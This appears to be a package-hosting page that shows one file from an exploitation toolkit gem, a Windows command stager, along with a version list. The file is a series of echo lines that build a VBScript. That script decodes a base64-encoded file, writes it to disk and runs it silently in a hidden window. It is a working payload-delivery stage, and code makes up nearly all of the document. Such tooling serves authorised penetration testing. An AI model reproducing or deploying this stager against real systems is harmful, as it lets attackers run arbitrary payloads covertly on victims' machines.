Sha256: 9f72918e52100910ee4a38d8aeeddf604ae460a84de829f3d94f237d48542350

Contents?: true

Size: 1.91 KB

Versions: 41

Compression:

Stored size: 1.91 KB

Contents

echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
echo Set file = fs.GetFile("ENCODED") >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, vbCrLf, "") >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
echo shell.run "DECODED", 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo "The file is empty." >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If  Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Version data entries

41 entries across 41 versions & 1 rubygems

Version Path
rex-exploitation-0.1.40 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.39 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.38 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.37 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.36 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.35 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.34 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.33 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.32 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.31 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.30 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.29 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.28 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.27 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.26 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.25 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.24 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.23 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.22 data/exploits/cmdstager/vbs_b64
rex-exploitation-0.1.21 data/exploits/cmdstager/vbs_b64